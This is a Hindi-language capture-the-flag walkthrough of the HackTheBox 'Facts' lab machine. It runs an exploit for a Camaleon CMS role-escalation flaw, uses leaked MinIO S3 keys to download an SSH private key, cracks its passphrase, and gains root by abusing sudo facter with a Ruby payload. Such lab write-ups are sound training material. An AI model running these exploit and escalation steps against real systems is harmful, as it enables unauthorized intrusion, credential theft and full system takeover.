
HackTheBox Facts मशीन राइटअप — CVE-2025-2304, MinIO S3 एन्यूमरेशन, SSH कुंजी क्रैकिंग, और facter विशेषाधिकार वृद्धि।
| फ़ील्ड | विवरण |
|---|---|
| नाम | Facts |
| OS | Linux |
| कठिनाई | Easy |
| रिलीज़ | Season 10 |
| रिटायर्ड | No |
Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root
sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>
परिणाम:
22/tcp open ssh OpenSSH 9.9p1 Ubuntu
80/tcp open http nginx 1.26.3 (Camaleon CMS)
54321/tcp open http MinIO S3 Server
echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml
मुख्य निष्कर्ष:
http://facts.htb/admin/loginhttp://facts.htb/admin/registerhttp://facts.htb/admin/register पर जाएं और एक खाता बनाएं। ध्यान दें कि एक कैप्चा है — ब्राउज़र के माध्यम से पंजीकरण करें।
updated_ajax एंडपॉइंट permit! का उपयोग करता है जो role सहित सभी पैरामीटर्स को अपडेट करने की अनुमति देता है।
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e
आउटपुट:
[+] Login confirmed
Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
s3 access key: AKIAA5CA83CCFE35CD69
s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
s3 endpoint: http://localhost:54321
पोर्ट 54321 एक MinIO S3-संगत सर्वर चलाता है। लीक हुई क्रेडेंशियल्स का उपयोग करके:
import boto3
from botocore.client import Config
s3 = boto3.client(
's3',
endpoint_url='http://facts.htb:54321',
aws_access_key_id='AKIAA5CA83CCFE35CD69',
aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)
paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
for o in page.get('Contents', []):
if 'info-etags' not in o['Key']:
print(o['Key'])
s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))
मिली महत्वपूर्ण फ़ाइलें:
.ssh/authorized_keys
.ssh/id_ed25519 ← SSH निजी कुंजी
.profile
.bashrc
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
क्रैक किया गया पासफ़्रेज़: dragonballz
ssh -i /tmp/.ssh_id_ed25519 [email protected]
# पासफ़्रेज़ दर्ज करें: dragonballz
cat /home/william/user.txt
sudo -l
(ALL) NOPASSWD: /usr/bin/facter
Facter कस्टम फैक्ट्स को Ruby स्क्रिप्ट के रूप में लोड करता है। चूँकि हम इसे बिना पासवर्ड के root के रूप में चला सकते हैं, हम मनमाना Ruby कोड इंजेक्ट करते हैं:
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
setcode do
exec("/bin/bash -p")
end
end
EOF
sudo facter --custom-dir=/tmp/facts pwn
Root शेल प्राप्त हुआ!
whoami # root
cat /root/root.txt
यह राइटअप केवल शैक्षिक उद्देश्यों के लिए है। सुरक्षा परीक्षण हमेशा उन्हीं सिस्टम पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।
| टूल | उद्देश्य |
|---|
| Nmap | पोर्ट स्कैनिंग और सेवा पहचान |
| Feroxbuster | वेब डायरेक्ट्री एन्यूमरेशन |
| CVE-2025-2304 PoC | Camaleon CMS विशेषाधिकार वृद्धि |
| boto3 (Python) | MinIO/S3 एन्यूमरेशन और फ़ाइल डाउनलोड |
| ssh2john | SSH कुंजी को क्रैक करने योग्य हैश में बदलें |
| John the Ripper | SSH कुंजी पासफ़्रेज़ क्रैक करें |
| facter | sudo गलत कॉन्फ़िगरेशन के माध्यम से विशेषाधिकार वृद्धि |